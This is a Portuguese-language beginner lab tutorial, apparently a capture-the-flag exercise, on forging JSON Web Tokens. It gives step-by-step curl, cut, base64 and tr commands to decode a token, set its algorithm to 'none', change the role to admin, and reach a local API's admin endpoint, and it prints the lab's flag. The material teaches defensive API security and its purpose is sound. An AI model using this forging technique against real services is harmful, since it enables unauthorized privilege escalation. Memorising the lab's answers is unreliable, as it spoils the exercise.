Noções Básicas de Manipulação de JWT

CibersegurançaBeginner
Pratique Agora

Introdução

JSON Web Tokens (JWT) são um padrão aberto usado para compartilhar informações de segurança entre duas partes: um cliente e um servidor. Cada JWT contém objetos JSON codificados, incluindo um conjunto de declarações (claims). Os JWTs são assinados usando um algoritmo criptográfico para garantir que as declarações não possam ser alteradas após a emissão do token.

Uma das lições mais importantes para iniciantes é que o conteúdo de um JWT geralmente é codificado, não criptografado. Qualquer pessoa que possua o token pode, muitas vezes, ler as declarações. A propriedade de segurança provém da verificação da assinatura, não do sigilo.

No entanto, a implementação inadequada de bibliotecas JWT pode levar a vulnerabilidades de segurança graves. Uma das vulnerabilidades mais infames é o ataque do algoritmo "None". Se um servidor suportar o algoritmo none, um invasor pode modificar o payload do token (como alterar sua função de usuário para 'admin'), definir o algoritmo como none e remover a assinatura. O servidor aceitará então o token forjado como válido.

Neste laboratório, você interagirá com uma API local vulnerável. Você aprenderá como extrair um JWT, decodificar sua estrutura Base64Url, manipular o payload para elevar seus privilégios e explorar a vulnerabilidade do algoritmo 'none' para obter acesso administrativo não autorizado.

Interceptar e Extrair o JWT

Nesta etapa, você interagirá com um servidor de API local em execução na sua máquina. O servidor possui um endpoint de login que emite um JSON Web Token (JWT) para um usuário padrão. Sua primeira tarefa é solicitar este token e salvá-lo para análise posterior.

Um JWT é normalmente enviado no cabeçalho HTTP Authorization como um token Bearer, mas é inicialmente fornecido ao cliente após uma autenticação bem-sucedida. Usaremos a ferramenta de linha de comando curl para simular uma solicitação de login.

Execute o seguinte comando no seu terminal para acessar o endpoint de login:

curl -s http://127.0.0.1:5000/api/login

Você deverá ver uma resposta JSON contendo uma longa sequência de caracteres separados por dois pontos (.). Esta sequência é o JWT.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

Para facilitar o trabalho com este token nas etapas subsequentes, vamos extrair apenas a string do token e salvá-la em um arquivo chamado token.txt. Podemos usar o grep com uma expressão regular para analisar a saída JSON.

Execute o seguinte comando para salvar o token:

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

Você pode verificar se o token foi salvo corretamente exibindo o conteúdo do arquivo:

cat token.txt

Mantenha este token à mão, pois dissecaremos sua estrutura na próxima etapa.

Decodificar a Estrutura do JWT

Nesta etapa, você dividirá o JWT em seus componentes principais e os decodificará para entender as informações que eles carregam.

Um JWT padrão consiste em três partes separadas por pontos (.). A primeira parte é o Cabeçalho (Header), que contém metadados sobre o token, como o algoritmo de assinatura utilizado (por exemplo, HS256). A segunda parte é o Payload, que contém as declarações ou dados reais, como nome de usuário, função e tempo de expiração. A parte final é a Assinatura (Signature), usada para verificar se o remetente do JWT é quem diz ser e para garantir que a mensagem não foi alterada durante o trajeto.

Essa separação é importante porque muitos ataques a JWT visam a confusão sobre qual parte pode ser alterada com segurança e qual parte deve ser protegida criptograficamente.

O Cabeçalho e o Payload são codificados usando a codificação Base64Url. Isso significa que eles não estão criptografados; qualquer pessoa que intercepte o token pode facilmente decodificar e ler o conteúdo.

É por isso que decisões de autorização sensíveis nunca devem depender apenas das declarações estarem ocultas. Elas devem depender da validação correta da assinatura.

Primeiro, vamos dividir o token em seus componentes de Cabeçalho e Payload e salvá-los em arquivos separados. Usaremos o comando cut para dividir a string pelo delimitador .. Em um JWT, o caractere de ponto separa as três seções, então o cut é uma maneira rápida de separar o token sem precisar de uma ferramenta JWT especial.

## Extrair a primeira parte (Cabeçalho)
cat token.txt | cut -d '.' -f 1 > header.b64

## Extrair a segunda parte (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64

Agora, vamos decodificar o Cabeçalho. Como a codificação Base64Url às vezes remove os caracteres de preenchimento (=) no final, as ferramentas padrão de decodificação Base64 podem apresentar erros. Para nosso cabeçalho específico, o comprimento está perfeitamente alinhado, então podemos decodificá-lo diretamente usando o comando base64 -d:

cat header.b64 | base64 -d

Você deverá ver uma saída semelhante a esta, indicando que o token usa o algoritmo HS256:

{"alg":"HS256","typ":"JWT"}

Em seguida, vamos decodificar o Payload. A string do payload pode exigir preenchimento para ser decodificada com sucesso pelo utilitário base64 padrão. Podemos adicionar == para garantir que ele seja decodificado corretamente:

echo "$(cat payload.b64)==" | base64 -d

A saída revelará as declarações dentro do token:

{"username":"guest","role":"user"}

Observe que sua função atual está definida como user. Se você tentar acessar o endpoint /api/admin com este token, o acesso será negado. Você pode testar isso executando:

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

O servidor responderá com um erro de acesso negado. Nas próximas etapas, manipularemos essas partes decodificadas para contornar essa restrição.

Explorar o Algoritmo 'None'

Nesta etapa, você preparará a primeira parte do nosso ataque modificando o Cabeçalho do JWT para explorar a vulnerabilidade do algoritmo none.

Quando um servidor verifica um JWT, ele verifica o campo alg (algoritmo) no Cabeçalho para saber qual algoritmo criptográfico foi usado para criar a assinatura. Algumas bibliotecas JWT mal configuradas suportam um algoritmo chamado none. Se um invasor alterar o campo alg para none, o servidor pode ignorar completamente o processo de verificação da assinatura. Isso permite que o invasor modifique o payload sem precisar da chave secreta do servidor para gerar uma assinatura válida.

Vamos criar um novo cabeçalho JSON que especifica o algoritmo none.

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

Agora, precisamos codificar esta nova string JSON de volta para o formato Base64Url. O Base64Url é ligeiramente diferente do Base64 padrão: ele remove quaisquer caracteres de preenchimento = no final, substitui + por - e substitui / por _.

Podemos realizar essa codificação usando uma combinação de comandos padrão do Linux: base64 para a codificação inicial e tr para traduzir e excluir os caracteres específicos.

Execute o seguinte comando para codificar o novo cabeçalho:

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

Vamos verificar o conteúdo do nosso cabeçalho recém-codificado:

cat new_header.b64

Você deverá ver a seguinte string Base64Url:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

Esta string representa nosso cabeçalho malicioso. Ao usar este cabeçalho, estamos instruindo o servidor de API vulnerável a não validar a assinatura do nosso token.

Modificar as Declarações do Payload (Função Admin)

Nesta etapa final, você modificará o payload do JWT para elevar seus privilégios, montará o token forjado e o usará para acessar o endpoint administrativo restrito.

Anteriormente, descobrimos que nosso payload continha "role":"user". Queremos alterar isso para "role":"admin".

Primeiro, crie um novo arquivo JSON contendo o payload modificado:

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

Em seguida, assim como fizemos com o cabeçalho, precisamos codificar este novo payload no formato Base64Url. Usaremos a mesma combinação de comandos base64 e tr:

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

Você pode visualizar o payload codificado executando:

cat new_payload.b64

Agora temos nosso cabeçalho malicioso (new_header.b64) e nosso payload elevado (new_payload.b64). O último passo é construir o JWT final.

Lembre-se de que o formato de um JWT é Header.Payload.Signature. Como estamos usando o algoritmo none, não há assinatura. No entanto, o servidor ainda espera que o token tenha três partes separadas por pontos. Portanto, nosso token forjado será parecido com Header.Payload.. O ponto final é importante porque mantém o token na estrutura esperada de três partes, mesmo que a parte da assinatura esteja vazia.

Vamos montar o token forjado e salvá-lo em um arquivo:

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

Verifique se o token parece correto:

cat forged_token.txt

Finalmente, é hora de testar nosso exploit. Enviaremos uma solicitação para o endpoint restrito /api/admin, passando nosso token forjado no cabeçalho Authorization.

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

Se o exploit for bem-sucedido, o servidor aceitará o algoritmo none, ignorará a verificação da assinatura, lerá sua função como admin e concederá acesso. Você deverá ver uma mensagem de sucesso contendo uma flag secreta!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

Resumo

Parabéns! Você concluiu com sucesso o laboratório de Noções Básicas de Manipulação de JWT.

Neste laboratório, você aprendeu como:

  • Interceptar e extrair JSON Web Tokens de respostas de API.
  • Dissecar a estrutura de um JWT e decodificar seu Cabeçalho e Payload codificados em Base64Url.
  • Compreender as graves implicações de segurança da vulnerabilidade do algoritmo 'none'.
  • Criar manualmente um JWT malicioso alterando as declarações do payload e contornando a verificação de assinatura para obter elevação de privilégios.

Essas habilidades são fundamentais para entender a segurança de APIs e identificar falhas de autenticação durante testes de penetração ou auditorias de segurança. Neste laboratório, você abusou de um modo de verificação fraco definindo o algoritmo como none. Em outros cenários, os invasores podem obter um resultado semelhante se descobrirem o segredo de assinatura real e gerarem seu próprio token válido. Sempre garanta que suas aplicações imponham uma verificação rigorosa de algoritmos, protejam os segredos de assinatura cuidadosamente e nunca aceitem o algoritmo none em ambientes de produção.